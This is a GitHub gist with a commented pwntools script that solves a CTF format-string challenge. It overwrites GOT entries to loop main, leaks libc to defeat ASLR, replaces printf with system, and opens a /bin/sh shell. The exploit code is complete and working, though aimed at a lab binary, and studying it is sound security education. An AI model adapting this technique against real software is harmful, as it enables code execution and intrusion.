Last active
November 28, 2020 01:44
-
-
Save spencerpogo/aa674ea0f7f467acdadfce5384dfe935 to your computer and use it in GitHub Desktop.
Solution to a printf format string vulnerability PWN challenge from https://johnhammond.org/discord
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# Solution to PWN challenge from Solution to a PWN challenge from https://johnhammond.org/discord | |
# Binary: printing_you_x64 https://cdn.discordapp.com/attachments/762701400790401044/767773607828652062/printing_you_x64 | |
# Author: Scoder12 | |
# Date: 10/13/20 | |
# License: GNU AFFERO GENERAL PUBLIC LICENSE https://www.gnu.org/licenses/agpl-3.0.txt | |
# This program is free software: you can redistribute it and/or modify | |
# it under the terms of the GNU General Public License as published by | |
# the Free Software Foundation, either version 3 of the License, or | |
# (at your option) any later version. | |
# | |
# This program is distributed in the hope that it will be useful, | |
# but WITHOUT ANY WARRANTY; without even the implied warranty of | |
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | |
# GNU General Public License for more details. | |
# | |
# You should have received a copy of the GNU General Public License | |
# along with this program. If not, see <https://www.gnu.org/licenses/>. | |
# Here is a decompilation of the binary: | |
# int main(void) { | |
# ssize_t sizeVar; | |
# char inp_buf [1024]; | |
# | |
# puts("Welcome to challenge 3. Your stay won\'t be long :)"); | |
# sizeVar = read(0, inp_buf, 0x3ff); // 0x3ff = 1023 | |
# if (sizeVar < 1) { | |
# /* WARNING: Subroutine does not return */ | |
# exit(1); | |
# } | |
# printing(inp_buf); | |
# return 0; | |
# } | |
# | |
# void printing(char *to_print) { | |
# printf(to_print); | |
# /* WARNING: Subroutine does not return */ | |
# exit(0); | |
# } | |
from pwn import * | |
import sys | |
context.arch = "amd64" | |
local_libc_path = "/lib/x86_64-linux-gnu/libc.so.6" | |
try: | |
import libcfinder | |
except: | |
log.error( | |
f"libcfinder package not found. Will use local libc shared object file at " | |
f"{local_libc_path} instead, but this won't work on a remote target" | |
) | |
use_libcfinder = False | |
else: | |
use_libcfinder = True | |
# context.terminal = ["gnome-terminal", "--tab", "--", "/bin/sh", "-c"] | |
FNAME = "./printing_you_x64" | |
e = ELF(FNAME, checksec=False) | |
def ensure_length(s, length, fillchar=b"A"): | |
# Make sure its long enough | |
r = s.ljust(length, fillchar) | |
# Make sure its short enough | |
if len(r) > length: | |
raise ValueError("payload too long!") | |
return r | |
def gen_write_exploit(address, value, magic_offset): | |
exploit = b"" | |
# The value to write to the address | |
# Not sure why, I'm sure theres a reason but I don't know what it is | |
exploit += ensure_length(f"%12${value - magic_offset}x".encode(), 17) | |
# Write the number of characters printed to %15, the address below | |
exploit += b" %15$n " | |
# The address to write to. | |
# This is big-endian with null bytes at the end, and printf uses c-strings | |
# which are null-terminated, so the address MUST be at the end, after any | |
# format specifiers | |
exploit += p64(address) | |
return exploit | |
def call_printf(payload): | |
log.info("Receiving binary welcome header...") | |
# Read header | |
d = p.recvline().decode() | |
if not d.startswith("Welcome"): | |
raise AssertionError("Bad: " + d) | |
log.info(f"Sending payload to printf: {payload}") | |
p.sendline(payload) | |
log.info("Reading out result from printf...") | |
# Payload won't end with a newline, so read everything until welcome, not including | |
# it (drop=True) then write it back into the stream to be read at the top of the | |
# next call to call_printf() | |
r = p.recvuntil("Welcome", drop=True) | |
p.unrecv("Welcome") | |
return r | |
# sys.stdout.buffer.write(exploit) | |
# Spawn binary | |
p = process(FNAME) | |
# attach to gdb, break on exit | |
if "gdb" in sys.argv: | |
gdb.attach(p.pid, "b *0x4011b2") | |
log.success("Phase 1: Overwriting exit() with main() to enable multiple passes...") | |
# Found the number 6 just by playing around | |
exploit = gen_write_exploit(e.got["exit"], e.symbols["main"], 6) | |
call_printf(exploit) | |
log.success("Phase two: Leak address to defeat ASLR") | |
# Through poking around in gdb, found 3rd paramater on stack is address of | |
# __libc_read+18, so leak it in pointer notation with %p | |
raw_address = call_printf("%3$p").decode().split("\n")[0].strip() | |
# Attempt to parse it as an integer | |
libc_read_address = int(raw_address, 16) - 18 | |
log.success("Got libc read address @" + hex(libc_read_address)) | |
# Find system address | |
if use_libcfinder: | |
libc_results = libcfinder.find_libcv({"read": libc_read_address}) | |
# Prefer libc versions that are 64 bit because i386 ones usually come first in the | |
# list and won't work at all, so assign 64 bit ones a higher score and others a | |
# lower score, then sort from highest to lowest | |
libc_results = sorted( | |
libc_results, key=(lambda v: 1 if v.endswith("64") else 0), reverse=True | |
) | |
libc_version = libc_results[0] | |
log.info(f"Found libc version: {libc_version}") | |
system = libcfinder.find_fun_addr(libc_version, "read", libc_read_address, "system") | |
else: | |
log.info("Loading local libc shared object ELF...") | |
# Use local libc library as an ELF | |
libc_elf = ELF(local_libc_path) | |
# Find the libc base address by calculating the offset of read | |
libc_elf.address = libc_read_address - libc_elf.symbols["read"] | |
log.info(f"Libc Base @ {hex(libc_elf.address)}") | |
# Get system address using the base address we found | |
system = libc_elf.sym["system"] | |
log.success(f"Found system address @ {hex(system)}") | |
printf_address = e.symbols["printf"] | |
log.success( | |
f"Phase three: Overwrite printf PLT address {hex(printf_address)} with system address" | |
) | |
if "-gdb" in sys.argv: | |
gdb.attach(p.pid, "b *0x4011b2") # , f"x {hex(printf_address)}") | |
# Write system to printf address. Not sure if there is a better way to do this but I | |
# can't seem to find one | |
system_lower = int(hex(system)[-4:], 16) | |
system_middle = int(hex(system)[-8:-4], 16) | |
system_upper = int(hex(system)[:-8], 16) | |
log.info( | |
f"Broke system address into 2 byte sections: {hex(system_upper)} {hex(system_middle)} {hex(system_lower)}" | |
) | |
# A dict of address: value | |
writes = { | |
printf_address: system_lower, | |
printf_address + 2: system_middle, | |
printf_address + 4: system_upper, | |
} | |
# Sort writes, from lowest value to highest value because we can't unwrite characters | |
writes = dict(sorted(writes.items(), key=(lambda it: it[1]))) | |
payload = b"" | |
payload_len = 0 | |
for i, value in enumerate(writes.values()): | |
# How many characters should be added in this step | |
pad_amt = value - payload_len | |
# You can switch this to a print if needed | |
log.debug( | |
f"Want {hex(value)}, already wrote {hex(payload_len)}, pad is {hex(pad_amt)}" | |
) | |
# The printf specifier that will pad this amount | |
pad_specifier = f"%12${pad_amt}x".encode() | |
# The specifier will only print as many characters as pad_amt, the actual text | |
# won't count | |
payload_len += pad_amt | |
# Write the padding then execute the write | |
# This will write the number of characters written (due to "n") to the ith address, | |
# interpreted as a short int from "h" as to not overwrite upper parts with 0s. | |
# We don't need to add to payload_len because this won't print anything | |
payload += pad_specifier + f"%{18 + i}$hn".encode() | |
# This must be exact or else the formatting specifiers won't line up. | |
payload = ensure_length(payload, 48) | |
# The addresses must be after all % directives, because they contain null bytes which | |
# stop printf from interpreting since it uses a c-string | |
for address in writes.keys(): | |
payload += pack(address) | |
payload += b"\x00" | |
# print("Sending payload:", payload) | |
# p.sendline(payload) | |
# context.log_level = "info" | |
# print("Receiving lines...") | |
# p.recvline() | |
# p.recvline() | |
call_printf(payload) | |
print("Sending system command...") | |
p.sendline(b"/bin/sh") | |
print("Switching to interactive") | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment